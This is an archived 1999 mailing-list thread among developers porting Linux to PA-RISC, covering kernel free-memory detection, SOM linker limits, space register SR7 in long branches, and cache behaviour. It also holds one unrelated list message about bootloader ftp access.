Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618647 28405 80.91.229.3 (22 Nov 2014 01:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:47 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        law@cygnus.com, bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 15:08:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA18080
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 15:08:17 -0700
Original-Received: (qmail 13956 invoked by uid 15267); 17 Nov 1999 22:09:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13945 invoked from network); 17 Nov 1999 22:09:56 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 22:09:56 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 23:09:50 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id VAA10360;
	Wed, 17 Nov 1999 21:55:06 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911171812.NAA17052@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6446

> The problem is the kernel can't determine how big its common data section
> is and therefore where free memory should start.

Okay, I didn't take into account we actually want to know where our free
memory starts  -  sometimes being stupid doesn't help.

> There are quite a few big structures and arrays throughout the linux code
> that are global and not initiallized.
> Uninitialized common data can be avoided by using static or explicitly
> initializing the data object (puts data into $DATA$ instead of $DLT$).

> Without the trick, _end is located at the end of the
> bss section.  When "theend" is linked in, _end moves to the end of
> unitialized common data and the kernel can easily determine where free
> memory starts.

Okay, this is a SOM-specific bug around a missing feature of the SOM linker
(i.e. not supporting linker scripts) (tell me if I'm wrong).

> The current hack to determine the start of free memory is to use a symbol
> that is near the end of the common data and add a fudge amount to it.

> This failed for me recently when I built a configuration without network
> support and the symbol was no longer defined.  The size of the common
> data varies depending on kernel configuration as well.

Yeah, this code needs to go / change.

> However, if you explicitly initialize, the size of the kernel will grow.
> I know some systems still allow installation from floppies.  The kernel

PARISC systems ?

> Memory from the start of the bss section to the end of the common data
> should be zeroed.  I presume other free memory will be initialized when
> it is used.

yup, Linux doesn't need to have all available memory zero'd out on boot.

	Philipp Rumpf


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 17:39:15 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <199911172239.RAA02116@hiauly1.hia.nrc.ca>
References: <19991117230531.D10209@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618648 28406 80.91.229.3 (22 Nov 2014 01:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:48 +0000 (UTC)
Cc: frowand@cup.hp.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 17 15:41:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA18441
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 15:41:22 -0700
Original-Received: (qmail 27591 invoked by uid 15267); 17 Nov 1999 22:43:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27575 invoked from network); 17 Nov 1999 22:43:01 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 22:43:01 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA02116;
	Wed, 17 Nov 1999 17:39:16 -0500 (EST)
In-Reply-To: <19991117230531.D10209@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 17, 99 11:05:31 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6447

I have been trying to figure outout why the kernel that I built with the
default configuration dies after going virtual.

It seems to me that some aspects of PA compilers and linkers haven't
been taken into account.  One particular thing to note is that long
branches are done via stubs which use interspace branches (i.e., they
use the space registers).  There is a builtin assumption that the four
quadrant model is being used.  Since we are linking to 0xc0000000, sr7
is being used for long branches.

Here is an example called from sys_pipe:

0xc0015538 <pdc_console_init+88>:       ldil -3ff72800,r1
0xc001553c <pdc_console_init+92>:       be,n 3c0(sr7,r1)

I can't find where sr7 is initialized.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 23:52:20 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <19991117235220.E10209@mathe.stud.uni-erlangen.de>
References: <19991117230531.D10209@mathe.stud.uni-erlangen.de> <199911172239.RAA02116@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618648 28409 80.91.229.3 (22 Nov 2014 01:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:48 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        frowand@cup.hp.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 15:49:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA18596
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 15:49:24 -0700
Original-Received: (qmail 30815 invoked by uid 15267); 17 Nov 1999 22:51:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30807 invoked from network); 17 Nov 1999 22:51:03 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 22:51:03 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 23:51:00 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id XAA10843;
	Wed, 17 Nov 1999 23:53:20 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911172239.RAA02116@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6448

> Here is an example called from sys_pipe:
> 
> 0xc0015538 <pdc_console_init+88>:       ldil -3ff72800,r1
> 0xc001553c <pdc_console_init+92>:       be,n 3c0(sr7,r1)
> 
> I can't find where sr7 is initialized.

It isn't, we don't need to.   This branches to
-0x3ff72800 + 0x3c0 = 0xc008dbc0.

	Philipp Rumpf


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 15:02:38 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <3833340E.59C7BDB4@hp.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <19991116170819.B750@mathe.stud.uni-erlangen.de> <3831CFF0.F4B3CE3E@hp.com> <19991117071226.G750@mathe.stud.uni-erlangen.de> <3832FA61.F977451E@hp.com> <19991117230531.D10209@mathe.stud.uni-erlangen.de>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618648 28413 80.91.229.3 (22 Nov 2014 01:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Wed Nov 17 16:01:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA18888
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 16:01:08 -0700
Original-Received: (qmail 3165 invoked by uid 15267); 17 Nov 1999 23:02:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3158 invoked from network); 17 Nov 1999 23:02:47 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 23:02:47 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id 1AFCF120B
	for <parisc-linux@thepuffingroup.com>; Wed, 17 Nov 1999 18:02:45 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id PAA09547 for <parisc-linux@thepuffingroup.com>; Wed, 17 Nov 1999 15:02:38 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6449

Philipp Rumpf wrote:

< stuff deleted - I don't need to argue, my face is already turning blue... >

> What I really want to know is  which algorithm do recent CPUs use to get the
> cache bank index / cache tag.

< stuff deleted >

> [note: what follows is what I think is a proof we can do what I want to do.
> It is very likely to contain formal/grammatical mistakes but I think it should
> be valid nontheless].
> 
>   The Rules

<stuff deleted >

> Any mistakes to point out ?  Misunderstandments in the specification ?  Other-
> wise could the specification please get fixed ?
> 
>         Philipp Rumpf


I didn't bother reading the proof, so no arguments about it.  I already thought
through what is probably a similar proof for myself.

The problem is that no matter how obvious it is to us software folks that it
would be braindead, illogical, or nearly impossible for the hardware to
behave in strange ways, the hardware folks are incredibly devious at making
the hardware more effective, within the constraints of the architecture
(and, on occasion, outside the constraints).  This results in behaviour that
may seem unreasonable to a software person.


*****  I attempt to code within the ARCHITECTURE, not to implement what
specific hardware implementations let me get away with.  That way I don't
get burnt by the creative hardware engineers, who might be pushing the
envelope.  *****


-Frank


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Thu, 18 Nov 1999 00:25:54 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <19991118002554.F10209@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <19991116170819.B750@mathe.stud.uni-erlangen.de> <3831CFF0.F4B3CE3E@hp.com> <19991117071226.G750@mathe.stud.uni-erlangen.de> <3832FA61.F977451E@hp.com> <19991117230531.D10209@mathe.stud.uni-erlangen.de> <3833340E.59C7BDB4@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618649 28417 80.91.229.3 (22 Nov 2014 01:10:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 16:23:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA19094
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 16:22:58 -0700
Original-Received: (qmail 11608 invoked by uid 15267); 17 Nov 1999 23:24:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11595 invoked from network); 17 Nov 1999 23:24:37 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 23:24:37 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Thu, 18 Nov 1999 00:24:34 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id AAA10872;
	Thu, 18 Nov 1999 00:26:54 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <3833340E.59C7BDB4@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6450

> The problem is that no matter how obvious it is to us software folks that it
> would be braindead, illogical, or nearly impossible for the hardware to
> behave in strange ways, the hardware folks are incredibly devious at making
> the hardware more effective, within the constraints of the architecture
> (and, on occasion, outside the constraints).  This results in behaviour that
> may seem unreasonable to a software person.

If the hardware gives us cache problems, it is not in compliance with the
architecture specification (OR my proof is wrong, but you "didn't bother to
read it").

If it doesn't, we're just fine. (OR ...).

> *****  I attempt to code within the ARCHITECTURE, not to implement what
> specific hardware implementations let me get away with.  That way I don't
> get burnt by the creative hardware engineers, who might be pushing the
> envelope.  *****

Shrug.  Both versions are in compliance with the architecture. (OR ...)

Note especially that on PA2.0 in wide mode, there is an explicit exception as
well, so mapping the memory at 0x0000 0000 0000 0000, 0x4000 0000 0000 0000,
0x8000 0000 0000 0000 or 0xc000 0000 0000 0000 is all okay.

	Philipp Rumpf


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 15:37:29 -0800 (PST)
Lines: 27
Approved: news@gmane.org
Message-ID: <199911172337.PAA14420@opus.allegro.com>
References: <19991117235220.E10209@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618649 28422 80.91.229.3 (22 Nov 2014 01:10:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: sieler@opus.allegro.com  Wed Nov 17 16:35:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA19258
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 16:35:55 -0700
Original-Received: (qmail 16121 invoked by uid 15267); 17 Nov 1999 23:37:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16110 invoked from network); 17 Nov 1999 23:37:34 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 23:37:34 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id PAA14420;
	Wed, 17 Nov 1999 15:37:29 -0800
In-Reply-To: <19991117235220.E10209@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 17, 1999 11:52:20 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:6451

Re:

> > 0xc0015538 <pdc_console_init+88>:       ldil -3ff72800,r1
> > 0xc001553c <pdc_console_init+92>:       be,n 3c0(sr7,r1)
> > 
> > I can't find where sr7 is initialized.
> 
> It isn't, we don't need to.   This branches to
> -0x3ff72800 + 0x3c0 = 0xc008dbc0.

I must be missing something...the above should branch
to: sr7.0xc008dbc0, not to "0xc008dbc0".  I.e., you specified SR7
in the BE instruction, so it gets used.  

Of course, if you'd said:  
   BE,N 3c0(0,r1) 
the result would effectively be the same (because it's a short
address, we grab the upper two bits of $c008dbc0, add 4, and therefore
use SR7 as the space register).

So, SR7 indeed needs to be set correctly...but since I haven't
looked at the surrounding code...

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html          www.allegro.com/sieler


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Thu, 18 Nov 1999 01:09:30 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <19991118010930.G10209@mathe.stud.uni-erlangen.de>
References: <19991117235220.E10209@mathe.stud.uni-erlangen.de> <199911172337.PAA14420@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618649 28430 80.91.229.3 (22 Nov 2014 01:10:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:49 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 17:06:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA19513
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 17:06:42 -0700
Original-Received: (qmail 26093 invoked by uid 15267); 18 Nov 1999 00:08:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26086 invoked from network); 18 Nov 1999 00:08:18 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 00:08:18 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Thu, 18 Nov 1999 01:08:13 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id BAA10906;
	Thu, 18 Nov 1999 01:10:30 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911172337.PAA14420@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6452

> I must be missing something...the above should branch
> to: sr7.0xc008dbc0, not to "0xc008dbc0".  I.e., you specified SR7
> in the BE instruction, so it gets used.  

No, we didn't.  We set the space register selection field to '00' which
according to the documentation means you select SR7 but in reality means
you don't want to have anything to do with space registers.  Just think
of it as flat address 0xc008dbc0 and of SR[123]:0xc008dbc0 as "real"
segmented addresses.

> So, SR7 indeed needs to be set correctly...but since I haven't
> looked at the surrounding code...

SR0, SR4, SR5, SR6, SR7 shouldn't ever need to be set to different values
for flat 4 gig code.  SR1, SR2, SR3 you use only for "real" segmented code.

(This is based on what the C compiler does, and what changed with PA2.0)
	
	Philipp Rumpf


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 16:43:17 -0800
Lines: 109
Approved: news@gmane.org
Message-ID: <38334BA5.BAA898D@hp.com>
References: <19991117235220.E10209@mathe.stud.uni-erlangen.de> <199911172337.PAA14420@opus.allegro.com> <19991118010930.G10209@mathe.stud.uni-erlangen.de>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618650 28432 80.91.229.3 (22 Nov 2014 01:10:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:50 +0000 (UTC)
Cc: Stan Sieler <sieler@allegro.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: frank_rowand@hp.com  Wed Nov 17 17:41:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA19726
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 17:41:44 -0700
Original-Received: (qmail 4448 invoked by uid 15267); 18 Nov 1999 00:43:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4441 invoked from network); 18 Nov 1999 00:43:23 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 00:43:23 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP
	id 10BED489; Wed, 17 Nov 1999 16:43:21 -0800 (PST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id QAA11697; Wed, 17 Nov 1999 16:43:17 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6453

Philipp Rumpf wrote:
> 
> > I must be missing something...the above should branch
> > to: sr7.0xc008dbc0, not to "0xc008dbc0".  I.e., you specified SR7
> > in the BE instruction, so it gets used.
> 
> No, we didn't.  We set the space register selection field to '00' which
> according to the documentation means you select SR7 but in reality means
> you don't want to have anything to do with space registers.  Just think
> of it as flat address 0xc008dbc0 and of SR[123]:0xc008dbc0 as "real"
> segmented addresses.


When address translation is enabled, a space register is *always* used.
You cannot turn that off.  Specifying '00' in the space register
select bits really does mean that you use space register 7 to calculate
the 64 bit virtual address.  (Humor me, and pretend that all
implementations of space registers are 32 bits, even though they aren't.)

If you "don't want to have anything to do with space registers", you
can put the same value (such as zero) in all of the space registers.


> > So, SR7 indeed needs to be set correctly...but since I haven't
> > looked at the surrounding code...
> 
> SR0, SR4, SR5, SR6, SR7 shouldn't ever need to be set to different values
> for flat 4 gig code.  SR1, SR2, SR3 you use only for "real" segmented code.
> 
> (This is based on what the C compiler does, and what changed with PA2.0)
> 
>         Philipp Rumpf

I don't understand.  Are you saying that there is a single 4gByte virtual
address range that is shared by the kernel and all user processes?  Or
do you plan to provide a separate 4gByte virtual address range to each
process/task/thread/whatever?

-Frank

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:50:48 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03550
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:50:48 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:50:48 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id RAA01248
	for <pcj@smtp-local.primenet.com>; Tue, 9 Mar 1999 17:27:50 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id RAA06590
	for <pcj@primenet.com>; Tue, 9 Mar 1999 17:28:56 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd006488; Tue Mar  9 17:28:50 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id SAA19571;
	Tue, 9 Mar 1999 18:58:05 -0500
Resent-Date: Tue, 9 Mar 1999 18:58:05 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <19990309185759.G27177@cmu.edu>
Date: Tue, 9 Mar 1999 18:57:59 -0500
From: Phil Schwan <pschwan@cmu.edu>
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap take 3
References: <199903092345.RAA25911@equator.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.91i
In-Reply-To: <199903092345.RAA25911@equator.com>; from Jason Eckhardt on Tue, Mar 09, 1999 at 05:45:56PM -0600
Resent-Message-ID: <"O0PBJ3.0.jn4.DMRvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/153
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 4da0e40898c8a76a5b076b0e64584da4
Status: RO
Lines: 24
Xref: merlin.pcj.primenet.com palinux:124

On Mar 09, Jason Eckhardt wrote:
> I still am unable to upload to the ftp site. So once again, I have included
> the bootstrap in the mail.

Jason--

I would be happy to create you an account and let you manage the
bootloader section of the ftp site, unless Alex has any objections. 
Just send me an ssh key and I'll activate an account by the same name
as your cvs account.  At some point it might be prudent to add it to
the cvs server and then pull periodic snapshots, but whatever, that's
your call.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 17:35:51 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <383357F7.5427C8DB@hp.com>
References: <19991117235220.E10209@mathe.stud.uni-erlangen.de> <199911172337.PAA14420@opus.allegro.com> <19991118010930.G10209@mathe.stud.uni-erlangen.de> <38334BA5.BAA898D@hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618650 28433 80.91.229.3 (22 Nov 2014 01:10:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:50 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Wed Nov 17 18:34:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA20059
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 18:34:19 -0700
Original-Received: (qmail 20438 invoked by uid 15267); 18 Nov 1999 01:35:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20430 invoked from network); 18 Nov 1999 01:35:55 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Nov 1999 01:35:55 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP id C48E677E
